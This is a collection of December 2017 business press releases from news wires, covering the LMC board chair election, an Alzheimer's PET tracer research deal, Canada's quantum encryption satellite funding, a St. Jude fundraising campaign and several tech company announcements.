BigRoad - A Fleet Complete Company is the industry leading provider of hours-of-service (HOS) and electronic logging device (ELD) mandate compliance solutions for the North American transportation industry. In March 2017, BigRoad was acquired by Fleet Complete, a global IoT provider of mission critical fleet, asset and mobile workforce management and telematics solutions. BigRoad's solutions include the BigRoad Mobile App electronic logbook, the BigRoad Web App fleet management tool, and the DashLink ELD. Over 500,000 drivers and 40,000 fleets trust BigRoad's solutions to simplify day-to-day activities, create operational efficiency, and improve profitability. BigRoad has received numerous awards for innovation and growth including the 2017 North American Electronic Logging Device (ELD) Solution Customer Value Leadership Award from Frost and Sullivan. About Fleet Complete

Fleet Complete is a global IoT provider of mission-critical fleet, asset and mobile workforce management solutions. Since 2000, Fleet Complete has been providing dispatching, fleet tracking and mobile resource management solutions to more than 265,000 subscribers and 10,000 businesses worldwide. The company maintains key distribution partnerships with AT&T in the U.S., TELUS in Canada, Telstra in Australia, and T-Mobile in Europe. It remains one of the fastest-growing companies in North America and won numerous awards for innovation and growth. For more information, please visit fleetcomplete.com. BlackBerry and related trademarks, names and logos are the property of BlackBerry Limited and are registered and/or used in the U.S. and countries around the world. All other marks are the property of their respective owners. BlackBerry is not responsible for any third-party products or services. SOURCE Fleet Complete

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[December 19, 2017] Local Media Consortium Elects Christopher Loretto Board Chair, Announces 2018 Executive Board

SARASOTA, Fla., Dec. 19, 2017 /PRNewswire/ -- The Local Media Consortium (LMC), a strategic partnership of leading local media companies, today announced that it has elected Christopher Loretto as Chairman of its Executive Board. Loretto will lead the 10-person committee as it guides the organization toward providing increased value and voice for its members and partners. "The LMC is coming off a very strong year having achieved many accomplishments in 2017, including a 600 percent increase in our broadcast outlet membership, substantial growth in revenue and partnership opportunities for our members, and the formation of a corporate entity," said Rusty Coats, CEO of the LMC. "As we look toward the New Year and toward revenue diversification, expanded collaboration with technology platform partners, a larger industry voice and increased ROI for our members, I cannot think of a person better suited than Chris Loretto to work alongside me to execute our strategic plan. A longtime member of our working board and diligent leader of our ad quality, ad blocking and viewability committees, Chris is a guy who gets things done." Chris Loretto has served as Digital First Media's Chief Digital Officer and EVP Digital since August 2014. He currently provides strategic leadership for key functional areas across the digital organization including in product, development, technology, revenue, operations, audience, marketing and training. Prior to his current role, Loretto was Vice President of Digital for the Los Angeles News Group from 2011-2014. Prior to Digital First Media, Loretto was Director of Interactive Media, Product Development and Marketing at The Times Media Company of Northwest Indiana before being promoted to Regional Executive for Mid-Valley Newspapers and publisher of three mastheads. He was also publisher for several business-to-business publications at Nielsen Media in New York. Loretto is a veteran of the Marine Corps and a graduate of Stony Brook University with a degree in Economics. "I feel privileged to take on this role at such a pivotal time in our industry and as the LMC transitions to a corporate entity," said Loretto. "The LMC's membership now represents half of the nation's local broadcast news outlets and nearly two-thirds of the small market newspapers in the U.S., which affords us the opportunity to have a collective voice at the table for important industry issues and deepened relationships with major platform partners.I look forward to collaborating with Rusty and the LMC board and members to implement strategies that drive value for membership and the industry as a whole."



Serving on the board of the LMC since 2014, Loretto takes an active strategic leadership role to drive and support the LMC's mission. Currently he helps lead several committees including Ad Viewability, Ad Blocking and Ad Quality. In addition, he now assumes the role as Chairman of the Board for the newly formed LMC Inc. He is also actively involved with the IAB, INMA and NMA industry associations. Loretto succeeds longtime LMC Chairman Christian A. Hendricks, who is retiring as Vice President/Products, Marketing and Innovation for McClatchy. The LMC also welcomes three new board members: Andrew Pergam, Washington, DC-based VP, Video and New Ventures for McClatchy, which is headquartered in Sacramento, Calif.; Nicki Purcell, Chief Digital Officer and Senior VP of Consumer Sales for The Dallas Morning News; and Gary Smith, VP of Advertising for The Seattle Times.

Andrew Pergam joined McClatchy in 2014 as Head of Video to develop a comprehensive video initiative across all 28 markets and 14 states nationwide. Prior to joining McClatchy, Pergam was a Senior Editor and the Director of Video at The Washington Post, leading long-term strategy and overseeing day-to-day operations. He helped lead the launch of PostTV with a particular emphasis on emerging distribution platforms. At The Dallas Morning News, Nicki Purcell leads the company's digital transformation to meet the challenges of a mobile-first world, delivering against the consumer product experience, and growth in audience market share, including print and digital subscription sales. Prior to joining the company in 2013, Purcell reported directly to the President of Nokia, Inc., leading the customer care organization and reverse logistics operations for North America. The Vice President of Advertising at The Seattle Times, Gary Smith is a 28-year veteran of the media industry and has been involved in the media industry's digital technology and digital publishing since its inception. Prior to the Times, Smith was Vice President of Advertising at The News & Observer in Raleigh-Durham, N.C., where he led the company in digital publishing advancement while growing the business side of the operation. Rounding out the board, which is comprised of executive digital leadership from a broad range of member companies, are James Green from Lee Enterprises; Eric Johnston of Adams Publishing Group; Thom Kastrup from BH Media; Peter Newton from GateHouse Media; Doug Phares from the Sandusky Newspaper Group; and Tom Sly from The E. W. Scripps Company. All terms are elected and take effect January 1, 2018. The LMC Board meets quarterly in person and bi-monthly via conference. About the Local Media Consortium

The Local Media Consortium is a strategic partnership of leading local media companies focused on increasing member companies' share of digital revenue and audience by pursuing new relationships with a variety of technology companies and service providers. The LMC was founded in 2013 to address the needs of advertisers seeking to reach high-quality audiences on brand safe local digital properties at scale. In addition, the LMC provides members with access to leading technology and content solutions by fostering key partnerships with companies including Google, Monster, Yahoo and others. LMC membership encompasses more than 75 local media companies in top markets across the United States and Puerto Rico, and includes more than 1,700 publications. The LMC audience footprint currently spans 164 million unique monthly visitors and its member companies serve more than four billion page views to readers. More information is available at www.localmediaconsortium.com. Local Media Consortium

Rusty Coats, 813-277-8959

[email protected]



Thatcher+Co

Christina Gilham, 646-868-5174

[email protected] Kristin Brocoff, 949-400-4899

[email protected] View original content with multimedia:http://www.prnewswire.com/news-releases/local-media-consortium-elects-christopher-loretto-board-chair-announces-2018-executive-board-300573187.html SOURCE Local Media Consortium

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[December 19, 2017] Cerveau Technologies, Inc. Signs Research Agreement with the University of Washington

Cerveau Technologies Inc. today announced an agreement with the University of Washington to support multiple projects over the next several years. These research projects are for studies of an early stage imaging agent (MK-6240) to be used in Positron Emission Tomography (PET) scans for assessing the status and progression of neurofibrillary tangles (NFTs) in the brain. NFTs made up of aggregated tau protein are a hallmark of several neurodegenerative diseases, including Alzheimer's disease. As part of the agreement, Cerveau will contract with the University of Washington (UW) to manufacture and supply the [18F]MK-6240 needed for research initiatives in the greater Seattle area. The manufacturing will take place in the UW Department of Radiology's cyclotron and radiochemistry facility. According to Dr. Thomas J. Grabowski, Jr., Professor of Neurology and Radiology at the University of Washington and Director of the UW Alzheimer's Disease Research Center (ADRC), "The accumulation of tau protein pathology in the brain seems to be a reliable marker of the advance of Alzheimer's disease in the brain, and can help identify vulnerable and, alternatively, disease-resistant parts of the brain. The availability of tau PET scanning using [18F]MK-6240 will help us investigate the different mechanisms that advance Alzheimer's disease i the brain, as well as mechanisms of resilience, and will provide a revolutionary progression biomarker to guide therapeutic trials across all stages of the disease, especially the early stages when symptoms may be absent or ambiguous."



Now, UW researchers will be able to pursue exciting new projects. Dr. Kimiko Domoto-Reilly, Assistant Professor of Neurology and Radiology (Adjunct) at UW Medicine, will use MK-6240 PET scans to investigate molecular imaging biomarkers of frontotemporal degeneration (FTD), a neurodegenerative disease that affects language and behavior. Such imaging tools could allow researchers to better distinguish between different variants of FTD in living people. "Cerveau welcomes this opportunity to work with the University of Washington researchers to understand the application of MK-6240 and how it may benefit patients with this devastating disease. The collaboration with the UW Alzheimer's Disease Research Center and Department of Radiology will provide access to our pharmaceutical partners in support of various therapy trials as well facilitate novel research at the University of Washington in the pursuit of evaluating potential preventive treatment options for Alzheimer's disease," said Rick Hiatt, President and CEO of Cerveau Technologies, Inc.

About the University of Washington At the University of Washington, researchers in the UW Alzheimer's Disease Research Center and the Department of Radiology focus on a precision medicine approach to Alzheimer's disease. Current projects aim to identify genetic risk factors, develop neuroimaging markers and biomarkers for preclinical detection, and discover novel therapeutics that can be tailored to address the underlying molecular causes of an individual's disease. Basic science and clinical studies strive toward precision medicine strategies that improve the care, functioning, and quality of life of both patients and caregivers. About Cerveau Technologies, Inc. Cerveau Technologies, Inc. is a partnership between Enigma Biomedical Group, Inc. and Sinotau Pharmaceutical Group. Cerveau's vision is to globally develop diagnostics and technology that positively impact patients with neurodegenerative disorders including Alzheimer's disease. View source version on businesswire.com: http://www.businesswire.com/news/home/20171219005802/en/

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[December 19, 2017] 2018 Promises to Be a Year of Innovation in the Energy Sector

Consumer Energy Alliance (CEA) announced today that advancements in new technology and innovation through techniques and materials will directly have an impact on affordable energy prices in 2018. The popularity and increasing affordability of traditional energy and renewable resources, coupled with the race to optimize access to our resources and build smarter cities, is ushering in a new era for U.S. energy development. CEA's "Campaign for America's Energy" has identified five key trends likely to change the future energy landscape in the coming years. The next year promises to see the floodgates open on new innovation in the following five key areas: Increased Popularity of Solar, Wind and Other Renewables - Building a smarter energy future means putting sustainability first and bridging the gap between new technology and natural resources;

Building a smarter energy future means putting sustainability first and bridging the gap between new technology and natural resources; Offshore Development - Energy independence and more competitive pricing to help keep America strong and prices affordable;

Energy independence and more competitive pricing to help keep America strong and prices affordable; Pipelines - The new regulatory and policy backdrop, coupled with greener energy standards, are helping leverage this key piece of nfrastructure to help keep the cost of energy low for consumers;

The new regulatory and policy backdrop, coupled with greener energy standards, are helping leverage this key piece of nfrastructure to help keep the cost of energy low for consumers; Grid Modernization - New energy infrastructure will be more resilient, efficient and environmentally friendly; and

New energy infrastructure will be more resilient, efficient and environmentally friendly; and Smart City - The ability to leverage advanced technologies to connect communications networks and integrate renewables into a modernized electric grid.



The "Campaign for America's Energy" is focused on educating families and businesses that consumer energy, as well as federal, state, and local lawmakers about the benefits of energy and the critical role it plays in everyday lives and budgets. To learn more, visit https://consumerenergyalliance.org/Campaign-For-Americas-Energy.

About Consumer Energy Alliance Consumer Energy Alliance (CEA) brings together families, farmers, small businesses, distributors, producers and manufacturers to support America's energy future. With more than 450,000 members nationwide, our mission is to help ensure stable prices and energy & environmental security for households across the country. We believe energy development is something that touches everyone in our nation, and thus it is necessary for all of us to actively engage in the conversation about how we develop our diverse energy resources and energy's importance to the economy. Learn more at ConsumerEnergyAlliance.org. View source version on businesswire.com: http://www.businesswire.com/news/home/20171219005810/en/

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[December 19, 2017] Government of Canada invests in national security technology

The Canadian Space Agency partners with Waterloo's Institute for Quantum Computing (IQC) to protect and enhance Canadians' electronic communications LONGUEUIL, QC, Dec. 19, 2017 /CNW Telbec/ - The Canadian Space Agency (CSA) is awarding $1.5 million to the University of Waterloo's Institute for Quantum Computing (IQC) to lead the science of a mission called the Quantum Encryption and Science Satellite (QEYSSat), which will protect the communications and data of Canadians on Earth and in space. It is estimated that within 10 to 20 years, the encryption codes used by computers today will be easily decoded by high-performing quantum computers, making current encryption technology obsolete. This investment will advance encryption methods, which use highly advanced computing technology to create unbreakable security codes. It will enable the CSA to leverage IQC's expertise to enhance Canada's position as a world leader in the emerging market for quantum technology. It will contribute to developing the highly qualified workforce needed in this important sector, and position Canada's space sector to play a critical role in the upcoming quantum technology revoutiona significant global business opportunity.



This initiative aligns with the Government of Canada's Innovation and Skills Plan. Quick facts

The CSA's next step will be to request proposals from the space industry to develop the satellite needed for the QEYSSat mission.

Current quantum encryption technology, called quantum key distribution, relies on ground fibre optic cables and is currently limited to a 200-kilometre distance. A future QEYSSat mission would seek to demonstrate quantum key distribution between a satellite and a grounded network as a way to overcome the distance limits. Quotes "The development of revolutionary technologies like quantum encryption will provide Canadians with security, safety, reliable government services and protection of their privacy. This investment enables the University of Waterloo to advance Canada's technological and scientific advantage in quantum technologies. It creates new opportunities to develop a highly qualified workforce in Canada and opens new markets and commercial opportunities around the world." The Honourable Navdeep Bains, Minister of Innovation, Science and Economic Development "Once again, the University of Waterloo is demonstrating its impressive leadership in developing innovative new ideas and technologies. As our economy becomes more globally connected, and more trade is done online, protecting Canadians' digital information has become vitally important. Thanks to today's investment, we are building on Canadian strengths to support the development of new encryption technologies that will keep digital information safe, while also creating new, well-paying jobs in the Waterloo region." The Honourable Bardish Chagger, Leader of the Government in the House of Commons and Minister of Small Business and Tourism Links Canadian Space Agency

Institute for Quantum Computing

Innovation and Skills Plan Website: http://asc-csa.gc.ca

Email: [email protected]

Follow us on Social Media SOURCE Canadian Space Agency

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[December 19, 2017] St. Jude Children's Research Hospital receives early Christmas present from college student

MEMPHIS, Tenn., Dec. 19, 2017 /PRNewswire-USNewswire/ -- At St. Jude Children's Research Hospital, Christmas is coming a little early thanks to Danni Messina, whose recent viral tweet sparked a spontaneous and incredibly successful fundraising drive that will help the hospital fulfill its mission of Finding cures. Saving children. The Memphis hospital is welcoming Messina for a special tour and meeting with a St. Jude patient. Her final fundraising total will also be revealed, capping a whirlwind few weeks that began Nov. 25 when the Washington State University sophomore tweeted to her then-modest group of 1,617 followers that she would donate 50 cents to St. Jude for each retweet and a quarter every time someone favorited the tweet. "It really has been an incredible experience. It has warmed my heart talking to patients and learning about their stories, but also seeing so many people help out this amazing cause," Messina said. "It started with a tweet but it's so much more than thatit's people coming together to make a difference this holiday season." The tweet that started it all was simple in its intent: "This time of year is about giving  this year, I am giving back to St. Jude & the families who are supported by their amazing services." The tweet went viral in a matter of hours, ultimately receiving more than 476,000 likes and 205,000 retweets. "We sincerely appreciate the awareness that Danni Messina and her Twitter campaign effort have brought to our mission," said Richard Shadyac Jr., President and CEO of ALSAC, the fundraising and awareness oranization for St. Jude Children's Research Hospital. "She reminds us of the power and importance of helping others, and how contagious that spirit is in this season of giving thanks."



After the tweet went viral, Messina told her social media followers, among them her sorority sisters, that she "did something really, really crazy, but something that's been close to my heart for a long time." As a member of Tri Delta, St. Jude Partner of the Year in 2014, Messina was already familiar with the hospital and its life-saving work and knew that St. Jude is leading the way the world understands, treats and defeats childhood cancer and other life-threatening diseases. But she did not know just how much her one little tweet would inspire others. As news of her pledge quickly spread across the country, she set up a GoFundMe campaign to reach her goal for St. Jude. More than 1,600 people contributed to the campaign, raising nearly $100,000 in three weeks.

St. Jude partner Kmart took notice of her campaign and got involved to support her efforts, creating a "Danni Messina Day" in its stores Dec. 2 that raised $86,418 for St. Jude in Messina's name. For her part, Messina dipped into her savings and contributed $1,000 to St. Jude. In all, nearly $185,000 is being donated to St. Jude because of Messina's one little tweet. "St. Jude Children's Research Hospital is grateful for the giving spirit demonstrated by millions of big-hearted people like Danni who help make it a reality that no family will ever receive a bill from St. Jude for treatment, travel, housing, or food," said Shadyac. Messina also is grateful to be able to share the story of St. Jude this holiday season. "The awareness for St. Jude has also been outstanding, and it's great to see that more people have been informed about the amazing services that St. Jude provides," she said. About St. Jude Children's Research Hospital St. Jude Children's Research Hospital is leading the way the world understands, treats and defeats childhood cancer and other life-threatening diseases. It is the only National Cancer Institute-designated Comprehensive Cancer Center devoted solely to children. Treatments invented at St. Jude have helped push the overall childhood cancer survival rate from 20 percent to 80 percent since the hospital opened more than 50 years ago. St. Jude is working to drive the overall survival rate for childhood cancer to 90 percent, and we won't stop until no child dies from cancer. St. Jude freely shares the discoveries it makes, and every child saved at St. Jude means doctors and scientists worldwide can use that knowledge to save thousands more children. Families never receive a bill from St. Jude for treatment, travel, housing or food  because all a family should worry about is helping their child live. Join the St. Jude mission by visiting stjude.org, liking St. Jude on Facebook (facebook.com/stjude) and following us on Twitter (@stjude). View original content with multimedia:http://www.prnewswire.com/news-releases/st-jude-childrens-research-hospital-receives-early-christmas-present-from-college-student-300573279.html SOURCE ALSAC/St. Jude Childrens Research Hospital

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[December 19, 2017] Insilico Medicine named to the global top 100 AI companies by CB Insights

Insilico Medicine Named to the 2018 AI 100, Highlighting Advancements in Deep Learning for Drug Discovery and Longevity Biotechnology BALIMORE, Dec. 20, 2017 /PRNewswire/ -- CB Insights today named Insilico Medicine to the prestigious AI 100, a select group of promising private companies working on groundbreaking artificial intelligence technology. CB Insights CEO and co-founder Anand Sanwal will reveal the full list of the second annual AI 100 companies at the A-ha! conference in San Francisco. "Last year's AI 100 enjoyed amazing success in the year since earning this recognition. 55 of them went onto raise additional funding nearing $2B and 5 were acquired. This year's list was culled from 1000+ applications and looks even more impressive. These are companies using artificial intelligence in industries from drug discovery and cybersecurity to robotics and legal tech. I'm happy that CB Insights is able to shine a light on the founders and companies that will revolutionize these industries and look forward to seeing what they do in 2018 and beyond." said CB Insights CEO Anand Sanwal. The CB Insights research team selected the AI 100 companies based on criteria, examining company-submitted data and the company's Mosaic Score.The Mosaic Score, based on CB Insights' National Science Foundation-funded algorithm, measures the overall health and growth potential of private companies. Through this evidence-based, statistically-driven approach, the Mosaic Score can help predict a company's momentum, market health and financial viability. "In 2014 Insilico Medicine made a bet on the deep learning technology and since then established over 250 industry and academic collaborations in both drug discovery and biomarker development and we became an innovation driver for the pharmaceutical industry. We are very happy to be recognized as one of the top 100 global AI companies by CB Insights, one of the top industry analysts," said Alex Zhavoronkov, PhD, the CEO of Insilico Medicine, Inc In May 2017 Insilico Medicine was named top 5 AI companies for social impact by Nvida. It pioneered the application of the generative adversarial networks (GANs) and reinforcement learning to generation of new molecular structures with the specific set of characteristics. It also pioneered using age as the main feature for multi-modal multi-omics data integration, biomarker development, target identification and transfer learning.



"In 2014 we just got our signaling pathway perturbation analysis algorithms to work very well after several years of hard work and got venture capital to develop them further. We even got some freedom and the tools to focus on our primary interest - aging research. So the idea of refocusing the company into deep learning, which was very new back then was met with some internal resistance. But nowadays we probably have one of the most efficient and productive DL teams in the world. We are hiring through hackathons and competitions in the many countries, where the DL talent is not overpriced and bridge the gap between the DL scientists, biologists and medicinal chemists very quickly. We also perform literature reviews at least twice a week to ensure that we incorporate all of the latest advances in DL into our models. We are happy to see that this hard work is recognized by CB Insights.", said Alex Aliper, president of Europe, Insilico Medicine, Inc. Insilico Medicine was the first company to apply deep generative adversarial networks (GANs) to the generation of new molecular structures with specified parameters and published seminal papers in Oncotarget and Molecular Pharmaceutics. Another paper published in Molecular Pharmaceutics in 2016 and demonstrated the proof of concept of the application of deep neural networks for predicting the therapeutic class of the molecule using the transcriptional response data, received the American Chemical Society Editors' Choice Award. One of the recent papers published in November 2017 described the application of the next-generation AI and blockchain technologies to return the control over personal data back to the individual.

About CB Insights Our team builds technology that helps corporations guess less and win more. We aggregate and analyze terabytes of data and use machine learning, algorithms and data visualization to help corporations replace the three Gs (Google searches, gut instinct and guys with MBAs) so they can answer massive strategic questions using probability not punditry. Contact: Farrah Kim, Senior Public Relations & Communications Manager

[email protected]

212-292-3148 For more information about the AI 100, visit:

https://www.cbinsights.com/research-ai100 About Insilico Medicine, Inc Insilico Medicine, Inc. is an artificial intelligence company located at the Emerging Technology Centers at the Johns Hopkins University Eastern campus in Baltimore, with R&D resources in Belgium, Russia, and the UK sourced through hackathons and competitions. The company utilizes advances in genomics, big-data analysis, and deep learning for in silico drug discovery and drug repurposing for aging and age-related diseases. The company is pursuing internal drug discovery programs in cancer, Parkinson's Disease, Alzheimer's Disease, ALS, diabetes, sarcopenia, and aging. Through its Pharma.AI division, Insilico provides advanced machine learning services to biotechnology, pharmaceutical, and skin care companies, foundations and national governments globally. In 2017, NVIDIA selected Insilico Medicine as one of the Top 5 AI companies in its potential for social impact. http://www.insilico.com Contact: Qingsong Zhu, PhD

[email protected] SOURCE Insilico Medicine

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[December 19, 2017]

EdgeX Foundry Grows Ecosystem With New Members

SAN FRANCISCO, Dec. 19, 2017 /PRNewswire-USNewswire/ -- EdgeX Foundry, an open source project building a common interoperability framework to facilitate an ecosystem for Internet of Things (IoT) edge computing, today announces five new members: acias GmbH, CATAI-UNESCO, Irish Manufacturing Research, Sixgill and the Zephyr Project. These organizations join the more than 60 members that broadly represent the IoT landscape providing products and services supporting analytics, visualization, sensors, security and manageability, among others.

Hosted by The Linux Foundation, EdgeX Foundry is a collaborative effort dedicated to accelerating IoT deployments across industrial and enterprise use cases. With EdgeX, developers can quickly and easily build, deploy, run and scale Industrial Internet of Things (IIoT) solutions. It enables interoperability across tools and solutions and delivers flexibility and security.

"The EdgeX community members are geographically diverse but have continuously come together to collaborate to create an interoperable platform that can work with any hardware, operating system and application framework," said Philip DesAutels, PhD, Senior Director of IoT at The Linux Foundation. "We are excited to welcome these new members and work closely with them to build out and support an ecosystem for IIoT solutions."

EdgeX Foundry has made significant progress since its launch in April this year with more than 150 people from around the world joining face-to-face meetings to align on project goals, develop working groups and identify project maintainers and committers across key functional areas. The project also created resources designed to help onboard new developers to the project such as Tech Talks, templates and starter guides. Additional information about these resources, upcoming EdgeX Foundry meetings and how to participate is available at https://wiki.edgexfoundry.org.

New Member Quotes:

aicas GmbH

"aicas is excited to join EdgeX Foundry and support and integrate its microservices architecture with our framework, lightweight process model, ahead-of-time compiler, hard real-time garbage collector and runtime, and Java bytecode multilanguage support," said David Beberman, Chief Marketing Officer for acias GmbH.

CATAI-UNESCO

"Devoted since 1982 to the innovation and AI in medicine, CATAI-UNESCO is eforcing the urgent demand to widespread Health 4.0 for the humanization of healthcare," said Prof. Dr. O. Ferrer Roca, UNESCO Chair of Telemedicine in the CATAI Association. "This will only be possible if we integrate IoT to promote universal preventive and participative medicine. The essential infrastructure based on the EdgeX framework will provide less complex and standardized small health data (SHD) exchange."







Irish Manufacturing Research

"Irish Manufacturing Research is delighted to contribute to the EdgeX Foundry project and work on an open source full featured and secured IIoT platform for the manufacturing industry," said John Delaney, Principal Investigator for Irish Manufacturing Research. "Ensuring interoperability and scalability at the edge while supporting legacy systems is a key enabler on the digitization roadmap for both small and large industrial enterprises."

Sixgill

"Edge computing and edge decision services are cornerstones in our universal sensor data platform at Sixgill. We consider edge services critical to helping enterprises realize the full potential of IoT, particularly for real-time operations," said Elizabeth Shonnard, VP Product at Sixgill, LLC. "We're excited to join EdgeX Foundry, pursuing a shared vision of data and device-agnostic systems that are interoperable and easily adopted to accelerate IoT development and enable highly responsive, sensing applications."

Zephyr Project

"In February 2018, the Zephyr Project will celebrate its two-year anniversary of being a collaborative open-source micro-controller operating system," said Geoff Thorpe, Security Architect for NXP and Chair of Zephyr Governing Board. "EdgeX Foundry proposes a welcome step towards harmonizing and generalizing the fragmented set of technologies in today's IoT, and does so in an open and platform-neutral manner. This could not be more consistent with the ideals of the Zephyr project, and we're delighted to be part of this collaborative effort."

EdgeX Roadmap

The EdgeX Technical Steering Committee has established a bi-annual release roadmap that demonstrates a long-term strategy to provide a product-quality open source foundation for interoperable commercial differentiation. The project is also working towards improved performance, lower start-up times and a reduction in the overall footprint via alternative Go Lang and C-based implementations of key EdgeX microservices. A preview of a Go Lang implementation is targeted for early 2018 with initial testing promising an order of magnitude smaller footprint than the current Java baseline.

EdgeX Foundry's next major release, "California," is targeted for Spring 2018. California will be a key step in EdgeX Foundry's commitment to evolve the framework to support the requirements for deployment in business-critical IIoT applications. In addition to general improvements, planned features for the California release include baseline APIs and reference implementations for security and manageability value-add. Additional information can be found at https://wiki.edgexfoundry.org/display/FA/Roadmap.

Additional resources:

About EdgeX Foundry

EdgeX Foundry is an open source project hosted by The Linux Foundation building a common open framework for IoT edge computing and an ecosystem of interoperable components that unifies the marketplace and accelerates the deployment of IoT solutions. Designed to run on any hardware or operating system and with any combination of application environments, EdgeX enables developers to quickly create flexible IoT edge solutions that can easily adapt to changing business needs. To learn more, visit: www.edgexfoundry.org.

About The Linux Foundation

The Linux Foundation is the organization of choice for the world's top developers and companies to build ecosystems that accelerate open technology development and commercial adoption. Together with the worldwide open source community, it is solving the hardest technology problems by creating the largest shared technology investment in history. Founded in 2000, The Linux Foundation today provides tools, training and events to scale any open source project, which together deliver an economic impact not achievable by any one company. More information can be found at www.linuxfoundation.org.

The Linux Foundation has registered trademarks and uses trademarks. For a list of trademarks of The Linux Foundation, please see its trademark usage page: https://www.linuxfoundation.org/trademark-usage. Linux is a registered trademark of Linus Torvalds.

Media Inquiries:

Maemalynn Meanor

PR Manager, EdgeX Foundry

[email protected]

View original content with multimedia:http://www.prnewswire.com/news-releases/edgex-foundry-grows-ecosystem-with-new-members-300573026.html

SOURCE EdgeX Foundry
[December 19, 2017] Rubidium Powers the First Voice-Triggered Headphones with Alexa Interface

RAANANA, Israel, Dec. 19, 2017 /PRNewswire/ -- Rubidium Ltd., a developer of embedded voice user interface technology, today announced that its voice trigger was integrated into the 66 Audio PRO Voice wireless headphones, essentially the world's first voice-triggered Bluetooth headphones with built-in Amazon Alexa. Users can simply say "Alexa" to start interacting with Amazon's cloud-based voice service. Using Rubidium's voice trigger, headphones, headsets, speakers and other devices listen to users at all times. However, while always-on voice-activated AI assistants are ubiquitous in smartphones and smart speakers, their implementation in mobile, battery-powered wearables without direct connection to the cloud has been a longtime challenge. Rubidium ported its always-on speech recognition engine to the Qualcomm Bluetooth chip series as well as to other chips and cores, offering a tiny footprint, highly robust voice wakeup and speech recognition for mobile and wearable applications. It can even run while a headset is playing music, including support for Qualcomm aptX and AAC world-class music codecs. "While in recent years voice wakeup has become a hot topic, Rubidium began deployin it in mass products over 15 years ago," said Shlomo Peller, CEO and Founder of Rubidium. "Combining this vast experience with our unique speech recognition technology has enabled us to come up with such a miniature engine without compromising performance."



"Rubidium's trigger showed unprecedented tradeoff between footprint and performance," said Kristian Kay, Founder and CEO of 66 Audio. "PRO Voice runs a sophisticated set of algorithms while maintaining low power consumption and communicating in real-time with our native iOS and Android app - MotionControl. Our team worked closely with Rubidium to deliver an extraordinary voice experience to our customers." Rubidium expects additional voice-triggered headphones, hearables and wearables carrying its technology to hit the market in 2018. Visit www.rubidium.com for more details.

About Rubidium Ltd. Rubidium covers the entire scope of embedded Voice User Interface: speech recognition, always-on Voice Trigger, text-to-speech, speech compression and more. Rubidium's industry leading speech processing solutions are optimized for low-resource, low-power applications in mobile, wireless, wearable, automotive and home appliances. Rubidium's multi-lingual solutions run standalone or combined with cloud-based voice assistants and provide customers with a totally hands-free, safe and productive user experience. Rubidium's technology is available for a large selection of processors, chips and software environments. Contact:

Rubidium Ltd.

+972-9-745-1412

[email protected]



View original content:http://www.prnewswire.com/news-releases/rubidium-powers-the-first-voice-triggered-headphones-with-alexa-interface-300573334.html SOURCE Rubidium Ltd.

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[December 19, 2017] Anodot Raises $23M, Triples Revenues

SUNNYVALE, California and RA'ANANA, Israel, December 19, 2017 /PRNewswire/ -- Anodot, the AI-powered analytics company, today announced a Series B round, bringing its B funding total to $23 million. The additional $15 million investment was led by Redline Capital Management together with existing investors Aleph Venture Capital and Disruptive Technologies Venture Capital. Over the past year, the company more than tripled its revenues, with customers such as Foursquare, Lyft, Microsoft, Upwork and Waze (Google), and is gearing up for further expansion in 2018. Headline-making glitches that interrupted sales for major retailers on Black Friday and frustrated thousands of shoppers illustrate the severe damage to revenue and reputation that these often hidden issues cause. Anodot's patented solution enables businesses to track and correlate massive volumes of business and technical data in real time to identify these business incidents. Anodot is saving its customers millions of dollars and increasing revenue opportunities for top-tier brands in ecommerce, retail, Internet, mobile and other industry segments. The company is one of 17 globally to have achieved Amazon Web Services' Machine Learning competency announced last month at its re:Invent conference. It won Ventana Research's "Digital Innovation Award in Analytics" and was recognized as a Cool Vendor in Analytics by Gartner.



London and APAC, grow its US team, and invest significantly in sales, marketing and customer success, while continuing to innovate in its machine learning platform. "Business Intelligence presents a multi-billion-dollar market and Anodot's differentiated approach adds AI to BI," said Benno Jering, Principal at Redline Capital. "Traditional BI focuses on dashboards and other tools that analyze historical data, focusing on specific portions of data and addressing pre-defined queries. Anodot addresses a completely different need by surfacing the issues you wouldn't know to ask about, across constantly changing massive amounts of data. Anodot's analytics provide the full picture across all data at a granular level so companies can understand what's going in every market, with every product, across every device."

The most diligent BI and monitoring teams using traditional visualization tools will still miss important issues that affect their quality of service and operational efficiency. By automatically delivering actionable alerts in real time with proprietary AI technology, Anodot prevents revenue loss, reputation damage and end-user frustration. Anodot's insights enabled a retailer to update its pricing to address competitor's bidding activity that was affecting product revenue; a mobile games company to resolve customer engagement drops resulting from its AB tests; and a fintech company to protect its revenue by reducing incident resolution time by 99%. "We are very excited by this new round of investment and see it as proof that there's life beyond dashboards, with AI," said Anodot CEO and co-founder David Drai. "Our rapid growth and the adoption of our technology by so many recognizable brands is a testament to the value of leveraging automated machine learning to create a new type of analytics solution." David Drai, who previously cofounded Cotendo (acquired by Akamai), teamed up with Ira Cohen, formerly Chief Data Scientist at HP, and software R&D executive Shay Lang to found Anodot in 2014, combining their collective experience managing huge software systems and the big data analytics required to understand them to solve one of the most costly problems plaguing the online realm. About Anodot Anodot illuminates business blind spots with AI analytics, so companies will never miss another revenue leak or brand-damaging incident. Its automated machine learning algorithms continuously analyze all business data, detect the business incidents that matter, and identify why they are happening by correlating them across multiple data sources. Anodot customers in fintech, ad-tech, web and mobile apps, and other data-heavy industries use Anodot to drive real business benefits like significant cost savings, increased revenue and upturn in customer satisfaction. Founded in 2014, Anodot is headquartered in Ra'anana, Israel, and has offices in Silicon Valley. Learn more at www.anodot.com. About Redline Capital Management Redline Capital is a global Venture Capital and Growth Equity fund investing in fast-growing companies with differentiated technologies across North America, Europe and Israel. Redline is backing strong management teams, and lends its support to enable their vision and strategy through all stages of their development. For more information about Redline Capital, please visit www.redline-capital.com. SOURCE Anodot

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[December 19, 2017] Leading Semiconductor Company To Expand In Manchester

